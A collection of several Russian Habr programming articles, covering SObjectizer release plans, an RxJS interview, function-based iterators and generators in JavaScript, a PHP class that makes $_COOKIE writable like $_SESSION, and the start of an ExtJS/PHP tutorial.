request delivered: 3
```
В качестве дополнения нужно сказать, что на практике такой простой custom\_envelope\_t для формирования отчетов о доставке вряд ли подойдет. Но если кому-то интересна эта тема, то ее можно обсудить в комментариях, а не увеличивать объем статьи.
Что еще можно было бы делать с помощью конвертов?
=================================================
Отличный вопрос! На который у нас самих пока нет исчерпывающего ответа. Вероятно, возможности ограничиваются разве что фантазией пользователей. Ну а если для воплощения фантазий в SObjectizer-е чего-то не хватает, то об этом можно сказать нам. Мы всегда прислушиваемся. И, что немаловажно, временами даже делаем :)
Интеграция агентов с mchain-ами
-------------------------------
Если же говорить чуть более серьезно, то есть еще одна фича, которую хотелось бы временами иметь и которая даже планировалась для so\_5\_extra-1.2.0. Но которая, скорее всего, в релиз 1.2.0 уже не попадет.
Речь идет о том, чтобы упростить интеграцию [mchain](https://sourceforge.net/p/sobjectizer/wiki/so-5.5%20In-depth%20-%20Message%20chains/)-ов и агентов.
Дело в том, что первоначально mchain-ы были добавлены в SObjectizer для того, чтобы упростить общение агентов с другими частями приложения, которые написаны без агентов. Например, есть главный поток приложения, на котором с помощью GUI идет взаимодействие с пользователем. И есть несколько агентов-worker-ов, которые выполняют фоновую «тяжелую» работу. Отослать сообщение агенту из главного потока не проблема: достаточно вызвать обычный send. А вот как передать информацию назад?
Для этого и были добавлены mchain-ы.
Но со временем выяснилось, что mchain-ы могут играть гораздо большую роль. Можно, в принципе, делать многопоточные приложения на SObjectizer-е вообще без агентов, только на mchain-ах (подробнее [здесь](https://habr.com/post/358120/)). А еще можно использовать mchain-ы как средство балансировки нагрузки на агентов. Как механизм решения проблемы producer-consumer.
Проблема producer-consumer заключается в том, что если producer генерирует сообщения быстрее, чем их может обрабатывать consumer, то нас ждут неприятности. Очереди сообщений будут расти, со временем может деградировать производительность или вообще произойдет вылет приложения из-за исчерпания памяти.
Обычное решение, которое мы предлагали использовать в этом случае — это использовать [пару агентов collector-performer](https://sourceforge.net/p/sobjectizer/wiki/so-5.5%20By%20Example%20Collector%20and%20Performer%20Pair/). Так же можно использовать и [message limits](https://sourceforge.net/p/sobjectizer/wiki/so-5.5%20In-depth%20-%20Message%20Limits/) (либо как основной механизм защиты, либо как дополнение к collector-performer). Но написание collector-performer требует дополнительной работы от программиста.
А вот mchain-ы могли бы использоваться для этих целей с минимальными усилиями со стороны разработчика. Так, producer бы помещал очередное сообщение в mchain, а consumer бы забирал сообщения из этого mchain.
Но проблема в том, что когда consumer — это агент, то агенту не очень удобно работать с mchain-ом посредством имеющихся функций receive() и select(). И вот это неудобство можно было бы попробовать устранить с помощью какого-то инструмента для интеграции агентов и mchain-ов.
При разработке такого инструмента нужно будет решить несколько задачек. Например, когда сообщение приходит в mchain, то в какой момент оно должно быть из mchain-а извлечено? Если consumer свободен и ничего не обрабатывает, то можно забрать сообщение из mchain-а сразу и отдать его агенту-consumer-у. Если consumer-у уже было отослано сообщение из mchain-а, он это сообщение еще не успел обработать, но в mchain уже приходит новое сообщение… Как быть в этом случае?
Есть предположение, что конверты могут помочь в этом случае. Так, когда мы берем первое сообщение из mchain-а и отсылаем его consumer-у, то мы оборачиваем это сообщение в специальный конверт. Когда конверт видит, что сообщение доставлено и обработано, он запрашивает следующее сообщение из mchain-а (если таковое есть).
Конечно, здесь все не так просто. Но пока что выглядит вполне решаемо. И, надеюсь, подобный механизм появится в одной из следующих версий so\_5\_extra.
Уж не ящик ли Пандоры мы собираемся открыть?
============================================
Нужно отметить, что у нас самих добавленные возможности вызывают двойственные чувства.
С одной стороны, конверты уже позволили/позволяют сделать вещи, о которых ранее говорилось (а о чем-то просто мечталось). Например, это гарантированная отмена таймеров и ограничение на время доставки, отчеты о доставки, возможность отзыва ранее отосланного сообщения.
С другой стороны, непонятно, к чему это приведет впоследствии. Ведь из любой возможности можно сделать проблему, если начать эту возможность эксплуатировать где нужно и где не нужно. Так может мы приоткрываем ящик Пандоры и сами еще не представляем, что нас ждет?
Остается только набраться терпения и посмотреть, куда это все нас приведет.
О ближайших планах развития SObjectizer-а вместо заключения
===========================================================
Вместо заключения хочется рассказать о том, каким мы видим самое ближайшее (и не только) будущее SObjectizer-а. Если кого-то что-то в наших планах не устраивает, то можно высказаться и повлиять на то, как SObjectizer-5 будет развиваться.
Первые бета-версии SObjectizer-5.5.23 и so\_5\_extra-1.2.0 уже зафиксированы и доступны для загрузки и экспериментов. К релизу нужно будет проделать еще много работы в области документации и примеров использования. Поэтому официальный релиз планируется в первой декаде ноября. Если получится раньше, сделаем раньше.
Релиз SObjectizer-5.5.23, судя по всему, будет означать, что эволюция ветки 5.5 подходит к своему финалу. Самый [первый релиз в этой ветке состоялся четыре года назад, в октябре 2014-го](https://sourceforge.net/p/sobjectizer/news/2014/10/sobjectizer-v550-released/). С тех пор SObjectizer-5 эволюционировал в рамках ветки 5.5 без каких-либо серьезных ломающих изменений между версиями. Это было непросто. Особенно с учетом того, что все это время нам приходилось оглядываться на компиляторы, в которых была далеко не идеальная поддержка C++11.
Сейчас мы уже не видим смысла оглядываться на совместимость внутри ветки 5.5 и, особенно, на старые C++ компиляторы. То, что можно было оправдать в 2014-ом, когда C++14 еще только готовились официально принять, а C++17 еще не было на горизонте, сейчас уже выглядит совсем по-другому.
Плюс к тому, в самом SObjectizer-5.5 уже накопилось изрядное количество граблей и подпорок, которые появились из-за этой самой совместимости и которые затрудняют дальнейшее развитие SObjectizer-а.
Поэтому мы в ближайшие месяцы собираемся действовать по следующему сценарию:
1. Разработка следующей версии so\_5\_extra, в которую хочется добавить инструментарий для упрощения написания тестов для агентов. Будет ли это so\_5\_extra-1.3.0 (т.е. с ломающими изменениями относительно 1.2.0) или это будет so\_5\_extra-1.2.1 (т.е. без ломающих изменений) пока не понятно. Посмотрим, как пойдет. Понятно только, что следующая версия so\_5\_extra будет базироваться на SObjectizer-5.5.
1a. Если для следующей версии so\_5\_extra потребуется сделать что-то дополнительное в SObjectizer-5.5, то будет выпущена следующая версия 5.5.24. Если же для so\_5\_extra не нужно будет вносить доработки в ядро SObjectizer-а, то версия 5.5.23 окажется последней значимой версией в рамках ветки 5.5. Мелкие bug-fix релизы будут выходить. Но само развитие ветки 5.5 прекращается на версии 5.5.23 или 5.5.24.
2. Затем будет выпущена версия SObjectizer-5.6.0, которая откроет новую ветку. В ветке 5.6 мы вычистим код SObjectizer-а от всех накопившихся костылей и подпорок, а также от старого хлама, который давным давно помечен, как deprecated. Вероятно, какие-то вещи подвергнуться рефакторингу (например, может быть изменен abstract\_message\_box\_t), но вряд ли кардинальному. Основные же принципы работы и характерные черты SObjectizer-5.5 в SObjectizer-5.6 останутся в том же виде.
SObjectizer-5.6 будет требовать уже C++14 (хотя бы на уровне GCC-5.5). Компиляторы Visual C++ ниже VC++ 15 (который из Visual Studio 2017) поддерживаться не будут.
Ветка 5.6 рассматривается нами как стабильная ветка SObjectizer-а, которая будет актуальна до тех пор, пока не появится первая версия SObjectizer-5.7.
Релиз версии 5.6.0 хотелось бы сделать в начале 2019-го года, ориентировочно в феврале.
3. После стабилизации ветки 5.6 мы бы хотели начать работать над веткой 5.7, в которой можно было бы пересмотреть какие-то базовые принципы работы SObjectizer-а. Например, совсем отказаться от публичных диспетчеров, оставив только приватные. Переделать механизм коопераций и их взаимоотношений родитель-потомок, тем самым избавившись от узкого места при регистрации/дерегистрации коопераций. Убрать деление на message/signal. Оставить для отсылки сообщений только send/send\_delayed/send\_periodic, а методы deliver\_message и schedule\_timer упрятать «под капот». Модифицировать механизм диспетчеризации сообщений так, чтобы либо совсем убрать dynamic\_cast-ы из этого процесса, либо свести их к самому минимуму.
В общем, тут есть где развернуться. При этом SObjectizer-5.7 уже будет требовать C++17, без оглядки на C++14.
Если смотреть на вещи без розовых очков, то хорошо, если релиз 5.7.0 состоится в конце осени 2019. Т.е. основной рабочей версией SObjectizer-а на 2019-й будет ветка 5.6.
4. Параллельно всему этому будет развиваться so\_5\_extra. Вероятно, вместе с SObjectizer-5.6 будет выпущена версия so\_5\_extra-2, которая на протяжении 2019-го года будет вбирать в себя новый функционал, но на базе SObjectizer-5.6.
Таким образом мы сами видим для SObjectizer-5 поступательную эволюцию с постепенным пересмотром каких-то из базовых принципов работы SObjectizer-5. При этом мы постараемся делать это как можно более плавно, чтобы можно было с минимальными болевыми ощущениями переходить с одной версии на другую.
Однако, если кто-то хотел бы от SObjectizer-а более кардинальных и значимых изменений, то [у нас есть соображения на этот счет](http://eao197.blogspot.com/2018/10/progthoughts-sobjectizer-6.html). Если совсем коротко: можно переделать SObjectizer как угодно, вплоть до того, чтобы реализовать SObjectizer-6 для другого языка программирования. Но делать это полностью за свой счет, как это происходит с эволюцией SObjectizer-5, мы не будем.
На этом, пожалуй, все. В комментариях [к предыдущей статье](https://habr.com/post/423879/) получилось хорошее и конструктивное обсуждение. Нам было бы полезно, если бы подобное обсуждение случилось и в этот раз. Как всегда мы готовы ответить на любые вопросы, а на толковые, так и с удовольствием.
А самым терпеливым читателям, добравшимся до этих строк большое спасибо за потраченное на прочтение статьи время. | https://habr.com/ru/post/426983/ | null | ru | null |
# Что такое RxJS и почему о нём полезно знать
В этом материале мы поделимся с вами переводом интервью с руководителем проекта RxJS 5+, инженером Google [Беном Лешем](https://medium.com/@benlesh).
В огромном мире фронтенд-разработки существует множество интересных инструментов. Я стремлюсь найти правильный подход к изучению практических вещей, поэтому я решила пообщаться с одним из самых ярких представителей RxJS-сообщества, Беном Лешем. Мне хотелось побольше узнать о RxJS, и о том, почему мне, начинающему разработчику, стоит вложить время в изучение реактивного программирования. Кроме того, мне хотелось понять — зачем применять RxJS в моих проектах. Бен рассказал мне о том, как использовать RxJS и поделился советами, касающимися изучения этой технологии.
[](https://habrahabr.ru/company/ruvds/blog/341880/)
Какую проблему решает RxJS?
---------------------------
Программирование — это всегда решение проблем и поиск инструментов, подходящих для поиска ответов на конкретные вопросы. В случае RxJS решаемая задача заключается в возможности обрабатывать асинхронные вызовы с помощью множества событий. На этом стоит остановиться подробнее.
Представьте, что вы пишете функцию, которая производит с данными некую последовательность действий и в ходе этой работы возникает ошибка. Если вы просто используете функции для обработки последовательностей запросов, тут могут быть некоторые необязательные действия, предпринимаемые для возврата ошибки. Вместо того, чтобы передавать ошибку через все функции, нужно иметь возможность взять ошибку и обновить представление без необходимости проходить по всем Ajax-запросам, которые теперь не нужны.
Вы можете заметить, что для организации обработки ошибок в таком стиле созданы промисы, но RxJS выводит концепцию работы с последовательными действиями на новый уровень. Промис может обрабатывать лишь единственное значение, что ограничивает варианты использования данной конструкции. В дополнение к этому, промис нельзя отменить, что означает, что он вполне может заблокировать поток и впустую использовать ресурсы (важное соображение для маломощных устройств).
В противоположность этому, RxJS даёт способ устранения этих ограничений, давая несколько каналов связи, что упрощает обработку многошаговых событий и повышает её эффективность. RxJS, кроме того, даёт разработчику возможность единообразно представлять всё, что нуждается в генерировании событий. Когда всё выглядит одинаково, оказывается, что со всем этим очень просто работать: комбинировать, объединять, выполнять запросы. Всё это делает RxJS очень мощным инструментом.
Зачем изучать RxJS?
-------------------
С одной стороны, RxJS — это мощный инструмент, который позволяет превращать сложные последовательности действий в лаконичный код, с которым легко работать.
С другой стороны, эта простота основывается на множестве языковых механизмов, а их изучение требует времени. Однако, полученные знания стоят затраченных усилий, когда понимаешь, что с помощью одной строки кода можно сделать что-то вроде реализации механизма «перетащить и опустить», что требует трёх наборов событий.
Подобное даёт возможность связать эти события воедино (нажатие кнопки мыши, перемещение мыши, отпускание кнопки) для того, чтобы получить одну краткую и точную строку кода. При обычном подходе подобное требует программы в несколько десятков строк.
Какие преимущества даёт использование RxJS?
-------------------------------------------
Одна из наиболее привлекательных возможностей, открывающихся при интеграции RxJS в код, заключается в том, что чем больше вы этим пользуетесь, тем больше вы сможете с помощью этой технологии сделать. RxJS можно сравнить с конструктором Lego, в том смысле, что Lego отлично подходит для разработки новых конструкций, так как все кубики имеют одинаковую форму. Похожим образом, все наблюдаемые объекты выглядят одинаково, поэтому создание чего-то с их использованием становится увлекательной задачей, так как вы можете экспериментировать со множеством интересных решений. Чем больше некто использует наблюдаемые объекты в коде, тем больше возможностей получает в создании чего-то нового на основе существующих структур.
Как выглядит процесс интеграции наблюдаемых объектов в большую кодовую базу?
----------------------------------------------------------------------------
Наблюдаемые объекты можно использовать практически в любом приложении. Если речь идёт о командной разработке, это может занять некоторое время, однако, переход можно упростить, если выполняются следующие условия:
* Работа начинается с применения наблюдаемых объектов, которые просты и целесообразны;
* Изменения хорошо комментируются;
* До каждого члена команды доносят смысл выполняемых действий;
Каждый осваивает подобные вещи в собственном темпе, но, в итоге, не удивляйтесь, если обнаружите, что ваша команда делает всё с помощью Rx. Когда для выполнения неких действий применяются наблюдаемые объекты, все они выглядят одинаково и их гораздо интереснее использовать, когда в приложении оказывается всё больше подобных объектов.
Существуют ли ситуации, в которых использование наблюдаемых объектов не рекомендуется?
--------------------------------------------------------------------------------------
Конечно существуют! Если перед нами отдельное событие, которое выполняет какое-то одно действие, как часто бывает в JS-программировании, тогда использовать RxJS — это малость странновато. Конечно, и тут можно применить RxJS, но это будет явный перебор.
Реализация операции «перетащить и опустить» — отличный пример задачи, для решения которой идеально подходит RxJS. Это — событие со множеством действий, сложность которого, при наличии такой возможности, всегда полезно уменьшить.
Как понять, когда следует использовать наблюдаемые объекты?
-----------------------------------------------------------
Полезно, при принятии решения о том, стоит ли использовать наблюдаемые объекты, опираться на контекст. Например:
* Если некое действие вызывает несколько событий — используйте RxJS;
* Если имеется множество асинхронных операций и вы пытаетесь наладить их совместную работу — тут тоже пригодится RxJS;
* Если вы обрабатываете огромные наборы данных в массивах и вам нужно организовать пошаговую обработку этих данных, вы можете использовать операторы RxJS как нечто вроде трансдьюсеров, когда они обрабатывают эти наборы данных без создания промежуточных массивов, которые потом придётся уничтожать с помощью сборщика мусора.
С чего стоит начать, приняв решение изучить операторы Rx?
---------------------------------------------------------
Список операторов, с которых стоит начать, должен включать в себя `map`, `filter` и `scan`. Среди других важных операторов можно отметить следующие:
* `switchMap`
* `concat`
* `share / shareReplay`
Вы можете сузить список используемых операторов до менее чем десяти тех, которые требуются чаще всего. Есть, конечно, и операторы, с которыми можно поэкспериментировать, вроде `pairwise`, `bufferCount` и `groupBy`. Эти таинственные операторы существуют не просто так, но пользуются ими не особенно часто. Однако, в тех редких случаях, когда вам понадобится выполнить действия, реализуемые этими операторами, вам не придётся ломать голову над тем, как создать их самостоятельно.
Легко ли начать использовать RxJS при работе с фреймворком вроде React?
-----------------------------------------------------------------------
Применение RxJS в React очень похоже на его применение в Angular, где он внедрён в полном объёме. В Angular наблюдаемые объекты — это полноправные сущности системы, отсюда идёт и особенная простота использования этой технологии в Angular. Однако, это не сложнее, чем подписка на RxJS в `componentDidMoun`t и отписывание в `componentWillUnmount`. В основе всего этого та же идея, что и в Angular, отличие только в том, что в Angular эти механизмы встроены, а в React придётся всё реализовывать вручную.
Можете ли вы поделиться какими-нибудь советами по отладке Rx?
-------------------------------------------------------------
Как и при работе с любыми другими технологиями, в ходе изучения Rx, по мере того, как накапливается опыт, упрощается и отладка. Есть некоторые ситуации, которые сложно отлаживать. Я сейчас работаю с командой разработчиков Chrome для того, чтобы решить эти проблемы.
Типичная сложная ситуация, с которой сталкиваются программисты, возникает, когда возвращают что-нибудь из `mergeMap` и ожидают получить наблюдаемый объект, но оказывается, что это не наблюдаемый объект. Затем хотят получить возможность увидеть функцию, которая возвратила то, что, как они считали, должно быть наблюдаемым объектом, но им не является. В настоящее время нет способа это показать, так как нельзя узнать, что именно будет возвращено до момента возврата.
Вот несколько советов по отладке:
* Не скупитесь на вызовы `console.log()`;
* Включите в цепочку наблюдаемых объектов оператор `do`, что даст возможность видеть состояние наблюдаемого объекта на разных шагах, и то, что он возвращает.
Что вы можете сказать о будущем RxJS?
-------------------------------------
В RxJS ожидается появление нескольких изменений, на которые стоит обратить внимание. Так, скоро будут доступны так называемые «арендуемые» (lettable) операторы. Благодаря этой концепции, например, вместо наличия оператора `map` в самом наблюдаемом объекте, будет иметься функция `map`, которая, когда её вызывают, возвращает другую функцию. Эту функцию затем будет использовать наблюдаемый объект для выполнения тех же действий, которые выполнялись с помощью его собственного оператора. Например, вместо того, чтобы писать нечто вроде `observable.map.filter.scan`, можно будет написать `observable.compose(map, filter, scan)`. Это — очень серьёзное и полезное изменение, так как, когда имеются функции для создания других функций — открываются множество возможностей функционального программирования. Ещё одно усовершенствование связанное с этим улучшением, заключается в устранении неиспользуемого кода при сборке пакетов (tree shaking).
В настоящее время такой оптимизации в RxJS не происходит. Всё находится в прототипах. Это даёт возможность использовать запись операторов через точку, но система не может оптимизировать размер пакета, так как весь исходный код считается используемым, даже если его, на самом деле, не применяют в конкретном проекте.
Как растущая популярность RxJS влияет React и Angular?
------------------------------------------------------
Надеюсь, что по мере того, как RxJS становится доступнее, и из-за того, что его всё легче интегрировать в различные проекты, он получит большее распространение в среде фронтенд-разработчиков. Сейчас широкому распространению RxJS мешают два препятствия. Первое — сложность изучения. Второе — размер библиотеки. RxJS существует уже давно, но раньше основной команде разработчиков было сложно понять то, как представить его программистам в простом и понятном виде.
Создатели Rx — замечательные люди, но они используют сложную терминологию, что привело к недостатку внимания к проекту со стороны сообщества разработчиков. Однако, благодаря образовательным ресурсам, вроде This Dot, сейчас наблюдается повышение интереса к этому замечательному инструменту.
Для того, чтобы способствовать дальнейшему распространению RxJS, сейчас я работаю над уменьшением размера библиотеки. Следите за новостями о Tiny Rx, или T-Rx. Если в двух словах, то этот проект позволил уменьшить 24-килобайтную (сжатую g-zip) библиотеку всего до 3 Кб!
Приятно наблюдать за тем, как растёт популярность RxJS, как им пользуется всё больше программистов. К тому же, надо сказать, что все желающие могут присоединиться к RxJS, внести посильный вклад в развитие этого мощного и полезного инструмента.
Если вы, немного ознакомившись с возможностями RxJS, хотите узнать больше, вот несколько полезных ссылок: [Rx Workshop](https://www.rxworkshop.com/), [Intro to Rx](https://www.youtube.com/watch?v=K7AvXUNB2X8), [Thinking Reactively](https://www.youtube.com/watch?v=3LKMwkuK0ZE) и [RxJS in Depth](https://www.youtube.com/watch?v=KOOT7BArVHQ).
Уважаемые читатели! Пользуетесь ли вы RxJS в своих проектах? | https://habr.com/ru/post/341880/ | null | ru | null |
# Итераторы и генераторы на основе функций
Поддержка итераторов и генераторов в качестве языковых конструкций появилась в javascript только в версии 1.7, и об использовании этих чудесных вещей в браузерах еще долго можно будет только мечтать. Однако использовать итераторы и генераторы в виде паттернов проектирования в javascript можно уже сейчас, и более того, делать это достаточно легко, а иногда даже приятно :)
В моем топике я часто буду ссылаться на «настоящие итераторы», под которыми понимаю те самые итераторы из javascript 1.7, которые в топике [Iterators & Generators](http://habrahabr.ru/blogs/javascript/122620/) отлично осветил azproduction.
Я настоятельно рекомендую с ознакомиться с его топиком, еще и потому, что для сравнения я буду использовать код его «настоящих» примеров.
Итак, поехали!
#### Простой пример
Имеется некий набор объектов, назовем их юнитами. Нужно задать всем юнитам цвет из набора [красный, зеленый, синий] в циклическом порядке. То есть первый юнит — красный, второй — зеленый, третий — синий, четвертый — снова красный и так далее.
Такая задача решается с помощью вспомогательного объекта, который я обычно называю Revolver.
```
var colors = new Revolver(['red', 'green', 'blue']);
for (var i = 0; i < units.length; i += 1) {
units[i].color = colors.next();
}
```
Revolver выглядит следующим образом:
```
function Revolver(items) {
this.items = items;
this.max = items.length - 1;
this.i = -1;
}
Revolver.prototype.next = function () {
this.i = this.i < this.max ? this.i + 1 : 0;
return this.items[this.i];
};
```
Этот код мне не нравится. Вы спрашиваете, почему? Отвечаю: слишком много телодвижений. Смотрите сами, чтобы всего лишь раскрасить юниты, пришлось:
1. объявить вспомогательный класс,
2. определить метод next() в этом классе,
3. создать экземпляр класса с нужным набором значений,
4. вызывать метод next() экземпляра для получения следующего значения из набора.
Можно ли упростить Revolver так, чтобы кода стало поменьше, а смысла — побольше?
Можно! ~~Use functions, Luke!~~
```
function revolver(items) {
var max = items.length - 1,
i = -1;
return function () {
i = i < max ? i + 1 : 0;
return items[i];
};
}
var next_color = revolver(['red', 'green', 'blue']);
for (var i = 0; i < units.length; i += 1) {
units[i].color = next_color();
}
```
Теперь нет никакого класса с методом, вместо него есть функция, возвращающая функцию.
Концентрация смысла — максимальная, ведь на самом деле нам нужен не набор цветов в виде объекта, а *метод получения следующего цвета из набора*.
Метод получения элемента коллекции при отсутствии коллекции как таковой и есть то, что назвается итератором.
#### Теория
Итератор — объект, позволяющий программисту перебирать все элементы коллекции без учёта особенностей её реализации (википедия).
В приведенном примере коллекция — бесконечный повторяющийся набор цветов r, g, b, r, g, b, ..., и особенности реализации коллекции действительно скрыты.
Итераторы производятся генераторами. Генератор выглядит как функция, которая помнит, в каком месте был предыдущий return, и при следующем вызове возобновляет работу с прерванного места. Генератор является фабрикой итераторов определенного типа, после вызова генератора каждый созданный им итератор живет свой отдельной жизнью.
В примере функция revolver — генератор бесконечных итераторов последовательностей из переданного набора элементов.
Таким образом, функциональные итераторы и генераторы можно определить так:1. Итератор — функция, при последовательных вызовах возвращающая элементы коллекции;
2. Генератор — функция, возвращающая функцию-итератор.
Традиционный пример применения генераторов — генерация бесконечных последовательностей, таких как последовательность Фибоначчи. Посмотрим как её можно реализовать в виде функционального генератора.
```
function fibonacci() {
var fn1 = 1,
fn2 = 1;
return function () {
var current = fn1;
fn1 = fn2;
fn2 = fn2 + current;
return current;
};
}
var sequence = fibonacci();
for (var i = 0; i < 5; i += 1) {
console.log(sequence()); // 1, 1, 2, 3, 5
}
```
Работает! Сравните с кодом настоящего генератора:
```
function fibonacci(){
var fn1 = 1,
fn2 = 1;
while (1) {
var current = fn1;
fn1 = fn2;
fn2 = fn2 + current;
yield current;
}
}
```
Похоже, правда?
#### Практика
Одно из назначений итераторов — организация циклического перебора коллекции, интерфейс к которой они представляют.
Настоящие итераторы отлично встраиваются в оператор цикла for i in. Для обозначения конца коллекции итератор выбрасывает специальное исключение, которое оператор for понимает как сигнал выхода из цикла.
Очевидно, что способ работы функциональных итераторов должен отличаться.
Первое, с чем нужно определиться, — это обозначение окончания коллекции. Для этого удобно использовать следующее свойство функций javascript: если до конца тела функции не встретился оператор return, то результатом выполнения функции будет undefined. Эта особенность позволяет cделать код итератора более понятным и читаемым: пока есть элементы коллекции, возвращаем их с помощью return, когда элементы закончились — не возвращаем ничего.
Второе — это конструкция, с помощью которой функциональный итератор можно перебирать. Конструкция нужна не только для итератора, но и для генератора. Тут всё тоже достаточно просто:
```
// Итераторам — while
var item;
while (item = iterator()) {
// обрабатываем item
}
// Генераторам — for
for (var item, iter = generator(); item = iter();) {
// обрабатываем item
}
```
Пример организации цикла: генератор степеней двойки, не превышающих числа N.
```
function powers_of_two(N) {
var value = 1;
return function () {
var result = value;
value *= 2;
if (result < N) {
return result;
}
};
}
for (var p, iter = powers_of_two(42); p = iter();) {
console.log(p); // 1, 2, 4, 8, 16, 32
}
```
##### Ложка дегтя, куда же без нее
Настоящие генераторы обладают важным свойством, которое заключается в возобновлении выполнения тела итератора с точки вызова последнего оператора yield. Эта функциональность позволяет описывать с помощью линейного кода последовательности элементов, которые обычно генерируются с помощью циклов или рекурсии, и таким образом упрощать код.
Хороший пример — генератор обхода дерева из топика [Iterators & Generators](http://habrahabr.ru/blogs/javascript/122620/):
```
function inorder(t) {
if (t) {
for (var item in inorder(t.left)) {
yield item;
}
yield t.label;
for (var item in inorder(t.right)) {
yield item;
}
}
}
```
Выглядит понятно и логично — возвращаем элементы левой ветки, потом корень, потом элементы правой ветки. Класс.
Функциональные генераторы не могут продолжать выполнение кода после оператора return, каждый вызов итератора приводит к выполнению функции с начала. Поэтому состояние приходится сохранять в переменных, замкнутых на функцию-итератор.
Попробуем создать функциональный генератор рекурсивного обхода дерева.
Попытка 1, дублирование логики настоящего генератора:
```
function inorder(t) {
var root = false,
left,
right;
if (t) {
left = inorder1(t.left);
right = inorder1(t.right);
return function () {
var item;
if (item = left()) {
return item;
}
if (!root) {
root = true;
return t.label;
}
if (item = right()) {
return item;
}
};
} else {
return function () {};
}
}
```
Получилось так себе, но особенно печалят две вещи.
1. Наличие трех операторов return в теле итератора. В случае оператора yield все выглядит логично, поскольку выполнение продолжается со следующей строки. Однако если в качестве yield используется return, логика нарушается, и понять что происходит становится сложнее.
2. Пустое дерево на входе генератора обрабатывается отдельным пустым итератором *return function () {}*, что еще больше запутывает код.
Источником проблем в данном случае является копирование логики настоящего генератора, который умеет сохранять свое состояние. Чтобы код функционального генератора стал понятным, нужно сохранять состояние более явно.
Поразмышляем над итерацией по дереву.
Очевидно, что придётся оперировать итераторами по узлам левой и правой ветвей дерева.
Когда итератор левой ветви израсходован, нужно использовать корень, после чего использовать итератор правой ветви.
Если бы получилось представить корень в виде итератора, получилось бы три итератора, каждый из которых нужно последовательно изпользовать до конца, возвращая результат, после чего дерево будет пройдено полностью.
Попробуем воплотить в коде:
```
function inorder(t) {
var roots = [t], // состояние итератора корня дерева
iters = [];
if (t) {
iters.push(inorder(t.left));
iters.push(function () {return roots[0] && roots.shift().label}); // итератор корня
iters.push(inorder(t.right));
}
return function () {
var leaf;
while (iters.length) {
leaf = iters[0]();
if (leaf) {
return leaf;
}
iters.shift();
}
};
}
```
Получилось почти хорошо — оператор return в итераторе один, а код итератора очень простой.
Таким образом, функциональные генераторы со сложной логикой вполне реализуемы, но их создание требует более тщательного обдумывания по сравнению с настоящими генераторами.
#### Управление итераторами
Особо дотошные ребята могли бы возразить мне еще в начале топика, например, так: «Постой-ка, ты говоришь, что итератор — это функция. Замечательно, но что ты будешь делать с этой функцией, если тебе потребуется сбросить состояние итератора?»
Отвечаю: я добавлю этой функции метод :) Функции в javascript — это объекты. Разумеется, функции могут иметь методы.
Старая добрая последовательность Фибоначчи, теперь с методом сброса:
```
function fibonacci_restartable() {
var fn1 = 1,
fn2 = 1,
iterator;
iterator = function () {
var current = fn1;
fn1 = fn2;
fn2 = fn2 + current;
return current;
};
iterator.restart = function () {
fn1 = fn2 = 1;
};
return iterator;
}
var sequence = fibonacci_restartable();
for (var i = 0; i < 5; i += 1) {
console.log(sequence()); // 1, 1, 2, 3, 5
}
sequence.restart();
for (var i = 0; i < 5; i += 1) {
console.log(sequence()); // 1, 1, 2, 3, 5
}
```
Если использовать терминологию, то метод restart является *привилегированным*, что фактически означает наличие замыкания на внутренние переменные итератора.
Аналогичным образом можно дополнить итератор любыми необходимыми методами, влияющими на его внутреннее состояние.
#### Выводы
Итераторы и генераторы в виде паттернов проектирования неплохо приживаются в javascript благодаря гибкости его функций. Разумеется, функциональные итераторы уступают по производительности настоящим итераторам, но в местах, где производительность не важна, использование функциональных итераторов может упорядочить и упростить код.
Благодарю за внимание! | https://habr.com/ru/post/122739/ | null | ru | null |
# Используем $_COOKIE как $_SESSION
Тема пришла из далекого детства, когда я только начинал программировать, разбирал особенности PHP. На тот момент меня удивляла такая несправедливость: c сессией можно было работать как с обычным ассоциативным массивом(**$\_SESSION**), а для кукисов необходимо было использовать функцию **setcookie()**. Потом я уже поднабрался опыта и понял зачем это сделано именно так.
Время идет и PHP не стоит на месте, в нем появилась такая прекрасная вещь как [SPL](http://php.net/manual/en/book.spl.php), одна из возможностей которой — обращение к объекту как к массиву, т.е. реализация **ArrayAccess** интерфейса.
И вот сейчас я вспомнил о своей детской идее, о массиве **$\_COOKIE**, и реализовал ее:
```
php
/*
достаточно этой строчки чтобы создать куку как на стороне сервера так и клиента
*/
$_COOKIE['lang'] = 'ru';
</code
```
Реализацию можно посмотреть под катом
```
php
class CookieStorage implements ArrayAccess
{
// сколько по умолчанию будем хранить куки
const DEFAULT_EXPIRE_TIME = 1411200; // 2 недели
// хранилище данных
private $_storage;
// конструктор для записи данных из родного массива $_COOKIE
public function __construct($cookies) {
$this-_storage = $cookies;
}
// стандартный метод ArrayAccess для проверки существования элемента
public function offsetExists ($offset) {
return isset ($this->_storage[$offset]);
}
// стандартный метод ArrayAccess для удаления элемента
public function offsetUnset ($offset) {
unset($this->_storage[$offset]);
}
// метод для получения значение конкретной куки
public function offsetGet ($offset) {
return $this->_storage[$offset];
}
// метод для задания значения куки
public function offsetSet ($offset, $value) {
if( $this->_setCookie($offset, $value) ){
$this->_storage[$offset] = $value;
}
else{
trigger_error('Cookie value was not set', E_USER_WARNING);
}
}
// обертка для функции setcookie
private function _setCookie( $name, $value, $expire = 0, $path = '/', $domain = false, $secure = false , $httponly = false ){
if (!headers_sent()){
if ($domain === false){
$domain = $_SERVER['HTTP_HOST'];
}
if( $expire == 0 ){
$expire = time() + self::DEFAULT_EXPIRE_TIME;
}
return setcookie ( $name, $value, $expire, $path, $domain, $secure, $httponly );
}
return false;
}
}
// инициализация наших кук и переопределение глобального массива
$_COOKIE = new CookieStorage( $_COOKIE );
```
Что хорошего в этом решении по сравнению с простой функцией **setcookie()**? Ну как минимум то, что запись одновременно идет и в браузер и глобальный массив **$\_COOKIE**(иногда приходится работать с ним еще до перезагрузки страницы). В данном варианте есть возможность задать большую часть параметров по умолчанию и регулировать эти параметры. Используя свой класс можно добавить необходимую функциональность в зависимости от конкретных условий.
В любом случае это не универсальное идеальное решение. Это велосипед, да, это мой велосипед. Это идея, которая, возможно, понравится %username% и он ее разовьет до комплексного решения какой-либо задачи. | https://habr.com/ru/post/134870/ | null | ru | null |
# ExtJS и PHP в примере
Добрый день,
Когда я начинал писать на ExtJS, именно примеров с PHP кодом в интернете не хватало, статьи были, но все они сводились к тому, что был код ExtJS (переводы книг) без PHP. Поэтому я и решил написать эту статью.
Для начала, **несколько советов начинающим ExtJSникам:**
**В первых:** Не знаете JavaScript? не поленитесь прочитать книгу по JS.
**Во вторых:** Зайдите на [www.extjs.com](http://www.extjs.com) там много хороших примеров ExtJS с PHP.
